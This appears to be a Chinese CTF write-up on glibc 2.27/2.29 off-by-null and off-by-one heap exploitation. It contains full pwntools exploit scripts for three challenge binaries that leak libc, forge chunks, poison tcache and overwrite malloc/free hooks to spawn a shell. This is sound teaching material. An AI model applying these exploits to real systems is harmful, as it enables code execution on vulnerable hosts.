#glibc2.29-off by one
无内鬼,先来个glibc2.27-off by null
size可以超tcache范围,那👴必超tcache
两个大的夹一个小的,下面放一个防止和top chunk合并
free0,在1off by null,free2,unlink,取回来,double free
在free的时候有一个写\xda的操作,需要多次malloc free清除prev_size中的\xda
from pwn import *
r = remote('node3.buuoj.cn',25603)
#r = process('./HITCON_2018_children_tcache')
elf = ELF('./HITCON_2018_children_tcache')
libc = ELF('/libc-2.27.so')
def add(size,data):
r.sendlineafter('Your choice: ','1')
r.sendlineafter('Size:',str(size))
r.sendafter('Data:',data)
def show(index):
r.sendlineafter('Your choice: ','2')
r.sendlineafter('Index:',str(index))
def free(index):
r.sendlineafter('Your choice:','3')
r.sendlineafter('Index:',str(index))
add(0x420,'fuck')
add(0x78,'fuck')
add(0x4f0,'fuck')
add(0x20,'fuck')
free(1)
free(0)
for i in range(9):#fuck \xda
add(0x78 - i, 'b' * (0x78 - i))
free(0)
add(0x78,'b'*0x70+p64(0x4b0))#0
free(2)
add(0x420,'fuck')#1
show(0)
leak = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
log.success(hex(libc_base))
add(0x78,'wdnmd')#2
free(0)
free(2)
one = libc_base + 0x4f322
malloc_hook = libc_base + libc.symbols['__malloc_hook']
log.success(hex(malloc_hook))
add(0x78,p64(malloc_hook))
add(0x78,'fuck')
add(0x78,p64(one))
r.sendlineafter('Your choice: ','1')
r.sendlineafter('Size:','233')
r.interactive()
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
相比2.27,新增
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
在2.27中,off by null overlapping基本操作
在第三步,根据C的prev_size找到A,然后直接unlink
在2.29中,新增了对size的检查,第三步,根据C的prev_size找到A,然后检查A的size和prev_size是否相等,不相等直接gg,如果👴想像2.27一样overlapping,👴还需要去伪造A的size
众所周知off by one比off by null白给,如果是off by one,👴就能在A前面的chunk中off by one改A的size
改size使一个chunk包上后面的chunk也⭐
####FireShell CTF 2019 - quotes list
from pwn import *
r = process(['/pwnlib/ld-2.29.so','--library-path','/pwnlib/','./quotes_list'])
libc = ELF('/pwnlib/libc.so.6')
def add(length,note):
r.sendlineafter('> ','1')
r.sendlineafter(': ',str(length))
r.sendafter(': ',note)
def edit(index,note):
r.sendlineafter('> ','2')
r.sendlineafter(': ',str(index))
r.sendafter(': ',note)
def show(index):
r.sendlineafter('> ','3')
r.sendlineafter(': ',str(index))
r.recvuntil('Quote: ')
def free(index):
r.sendlineafter('> ','4')
r.sendlineafter(': ',str(index))
add(0x500,'fuck')
add(0x500,'fuck')
free(0)
add(0x500,'aaaaaaa\n')
show(0)
r.recvuntil('aaaaaaa\n')
libc_base = u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-libc.sym['__malloc_hook']-96-0x10
system = libc_base+libc.sym['system']
log.success(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
log.success(hex(free_hook))
free(0)
free(1)
free(2)
add(0x48,'fuck')#0
add(0x500,'fuck')#1
add(0x48,'fuck')#2
edit(0,'a'*0x48+'\x61')
free(1)
add(0x500,'fuck')#1
add(0x48,'fuck')#3 2
free(3)
edit(2,p64(free_hook))
add(0x48,'/bin/sh\x00')
add(0x48,p64(system))
free(3)
r.interactive()
伪造一个unsorted bin,再伪造prev_size,unlink时根据prev_size找到伪造的chunk,过check
伪造unsorted bin时fd和bk指向自己,fd->bk = bk->fd = p,这种方法需要堆地址白给
edit存在off by null
add和edit分开,可以add free add show泄露heap和libc
伪造
pwndbg> x/128gx 0x555555559f50
0x555555559f50: 0x0000000000000000 0x0000000000000101//10
0x555555559f60: 0x0000000000000000 0x00000000000001f1//fake
0x555555559f70: 0x0000555555559f60 0x0000555555559f60//fake_fd fake_bk
0x555555559f80: 0x0000000000000000 0x0000000000000000
0x555555559f90: 0x0000000000000000 0x0000000000000000
0x555555559fa0: 0x0000000000000000 0x0000000000000000
0x555555559fb0: 0x0000000000000000 0x0000000000000000
0x555555559fc0: 0x0000000000000000 0x0000000000000000
0x555555559fd0: 0x0000000000000000 0x0000000000000000
0x555555559fe0: 0x0000000000000000 0x0000000000000000
0x555555559ff0: 0x0000000000000000 0x0000000000000000
0x55555555a000: 0x0000000000000000 0x0000000000000000
0x55555555a010: 0x0000000000000000 0x0000000000000000
0x55555555a020: 0x0000000000000000 0x0000000000000000
0x55555555a030: 0x0000000000000000 0x0000000000000000
0x55555555a040: 0x0000000000000000 0x0000000000000000
0x55555555a050: 0x0000000000000000 0x0000000000000101//11
0x55555555a060: 0x6161616161616161 0x6161616161616161
0x55555555a070: 0x6161616161616161 0x6161616161616161
0x55555555a080: 0x6161616161616161 0x6161616161616161
0x55555555a090: 0x6161616161616161 0x6161616161616161
0x55555555a0a0: 0x6161616161616161 0x6161616161616161
0x55555555a0b0: 0x6161616161616161 0x6161616161616161
0x55555555a0c0: 0x6161616161616161 0x6161616161616161
0x55555555a0d0: 0x6161616161616161 0x6161616161616161
0x55555555a0e0: 0x6161616161616161 0x6161616161616161
0x55555555a0f0: 0x6161616161616161 0x6161616161616161
0x55555555a100: 0x6161616161616161 0x6161616161616161
0x55555555a110: 0x6161616161616161 0x6161616161616161
0x55555555a120: 0x6161616161616161 0x6161616161616161
0x55555555a130: 0x6161616161616161 0x6161616161616161
0x55555555a140: 0x6161616161616161 0x6161616161616161
0x55555555a150: 0x00000000000001f0 0x0000000000000100//12
0x55555555a160: 0x0000000000000000 0x0000000000000000
0x55555555a170: 0x0000000000000000 0x0000000000000000
0x55555555a180: 0x0000000000000000 0x0000000000000000
0x55555555a190: 0x0000000000000000 0x0000000000000000
//0x55555555a150 - 0x1f0 = 0x555555559f60
overlapping,uaf,改fd打free_hook
from pwn import *
r = process('./babyheap2.29')
elf = ELF('./babyheap2.29')
libc = ELF('libc-2.29.so')
def add(size):
r.sendlineafter('Command: ','1')
r.sendlineafter('Size: ',str(size))
def edit(index,content):
r.sendlineafter('Command: ','2')
r.sendlineafter('Index: ',str(index))
r.sendlineafter('Size: ',str(len(content)))
r.sendafter('Content: ',content)
def free(index):
r.sendlineafter('Command: ','3')
r.sendlineafter('Index: ',str(index))
def show(index):
r.sendlineafter('Command: ','4')
r.sendlineafter('Index: ',str(index))
add(0x500)
add(0x40)
free(0)
add(0x500)
show(0)
r.recvuntil(']: ')
leak = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))
libc_base = leak - 0x1e4ca0
log.success(hex(libc_base))
add(0x40)
add(0x40)
free(1)
free(2)
add(0x40)#1
show(1)
r.recvuntil(']: ')
heap_base = u64(r.recvuntil('\n',drop=True).ljust(8, '\x00'))-0x770
log.success(hex(heap_base))
for i in range(13):
add(0xf8)
free(2)
for i in range(4,10):
free(i)
edit(11,'a'*0xf0 + p64(0x1f0))
fake = p64(0x0)+p64(0x1f1)+p64(heap_base+0xf60)+p64(heap_base+0xf60)
edit(10,fake)
r.interactive()
free(12)
add(0xe8)
for i in range(7):
add(0xf8)
log.info(r.recvline())
free(1)
add(0xf8)#1
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(free_hook))
free(4)
free(5)
free(6)
free(11)
edit(1,p64(free_hook))
add(0xf8)
add(0xf8)#5
log.info(r.recvline())
edit(5,p64(system))
edit(7,'/bin/sh\x00')
free(7)
r.interactive()
large bin残留指针+heap fengshui
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).